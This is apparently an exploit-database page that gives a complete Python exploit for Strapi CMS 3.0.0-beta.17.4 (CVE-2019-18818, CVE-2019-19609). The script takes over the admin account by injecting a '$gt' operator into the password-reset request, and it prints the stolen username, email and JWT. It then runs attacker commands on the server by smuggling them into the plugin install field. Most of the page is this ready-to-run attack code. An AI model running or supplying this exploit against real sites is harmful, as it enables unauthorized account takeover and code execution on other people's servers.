Strapi CMS 3.0.0-beta.17.4 Remote Code Execution

Strapi CMS version 3.0.0-beta.17.4 authenticated remote code execution exploit.


MD5 | 24052d1b097427f8b6282a7680d8abbc

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()


class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)

def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")


def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json = params).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]

if "jwt" not in output:
print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
sys.exit(1)
else:
print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
global jwt, url
print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
headers = {"Authorization" : f"Bearer {jwt}"}
data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
print(out.text)

if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()


Related Posts